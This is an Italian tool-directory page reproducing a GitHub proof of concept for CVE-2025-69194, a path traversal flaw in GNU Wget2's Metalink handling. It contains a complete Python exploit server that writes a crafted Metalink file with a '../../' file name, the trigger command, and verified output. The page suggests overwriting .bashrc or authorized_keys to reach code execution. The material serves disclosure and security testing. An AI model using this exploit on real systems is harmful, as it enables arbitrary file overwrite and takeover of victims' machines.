Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC_CVE-2025-69194 — PoC per CVE-2025-69194, una vulnerabilità di Path Traversal in GNU Wget2 <= 2.2.0. Questa vulnerabilità consente agli attaccanti di ottenere la scrittura o la sovrascrittura arbitraria di file sul filesystem della vittima fornendo un file Metalink dannoso con attributi del nome del file manipolati. | Kitploit
Strumenti/GitHubGitHub/secdongle/poc_cve-2025-69194
Generazione di PayloadAnalisi delle VulnerabilitàExploitSicurezza WebPenetration TestingApprendimento e Formazione
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

117 mesi faNon ancora revisionato

PoC per CVE-2025-69194, una vulnerabilità di Path Traversal in GNU Wget2 <= 2.2.0. Questa vulnerabilità consente agli attaccanti di ottenere la scrittura o la sovrascrittura arbitraria di file sul filesystem della vittima fornendo un file Metalink dannoso con attributi del nome del file manipolati.

Condividi

CVE-2025-69194: Vulnerabilità di Path Traversal in GNU Wget2

📝 Descrizione

PoC per CVE-2025-69194, una vulnerabilità critica di Path Traversal in GNU Wget2 <= 2.2.0 (verificata su v1.99.1). Questa vulnerabilità consente a un attaccante di ottenere la scrittura o sovrascrittura arbitraria di file sul filesystem della vittima fornendo un file Metalink malevolo con attributi file name manipolati.

Quando Wget2 elabora un file Metalink usando l'opzione --force-metalink, non riesce a sanitizzare correttamente le sequenze di traversal delle directory (ad es. ../../). Ciò può portare a Remote Code Execution (RCE) se un attaccante sovrascrive file di sistema sensibili (come .bashrc, .ssh/authorized_keys) o binari di sistema.


🛠️ Ambiente di Test (Ubuntu 22.04)

Per riprodurre accuratamente la vulnerabilità, compiliamo Wget2 v1.99.1 dai sorgenti per garantire che il modulo Metalink vulnerabile sia attivo e non patchato.

1. Installare le Dipendenze

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. Compilare e Installare Wget2 v1.99.1

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# Verify installation (+metalink support is required)
wget2 --version | grep -E "1.99.1|metalink"


🚀 Proof of Concept (PoC)

1. Lato Attaccante (Server Exploit in Python)

L'attaccante ospita un file .metalink malevolo e il payload corrispondente. Salvare quanto segue come poc.py:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. Lato Vittima (Attivazione dell'Exploit)

Eseguire il seguente comando in una sottodirectory (ad es. ~/Downloads/CVE-2025-69194/) per osservare l'escape dalla directory:

root@kitploit:~
# Pre-check: Verify the file does not exist in the parent's parent directory
ls ../../pwned_test.txt

# Execute the exploit
wget2 --force-metalink -i exploit.metalink


📊 Analisi Tecnica

La vulnerabilità risiede nella logica di parsing di Metalink, dove l'attributo name viene considerato affidabile senza normalizzazione.

FaseDescrizione

📝 Esempio di Output (Verificato)

Come dimostrato nella riproduzione riuscita, il file pwned_test.txt è stato creato due livelli sopra la cartella di esecuzione:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


version poc test

⚠️ Disclaimer

Questo strumento è fornito solo per scopi di test di sicurezza educativi e autorizzati. L'autore non è responsabile per eventuali danni causati dall'uso improprio di queste informazioni. L'accesso non autorizzato a sistemi informatici è severamente vietato.

Scarica lo strumento
InputWget2 legge <file name="../../pwned_test.txt">.
BypassNon viene effettuato alcun controllo per verificare se il percorso contiene ../ o tenta di uscire dalla CWD.
ScritturaWget2 apre il percorso risolto CWD + ../../pwned_test.txt e scrive il payload verificato.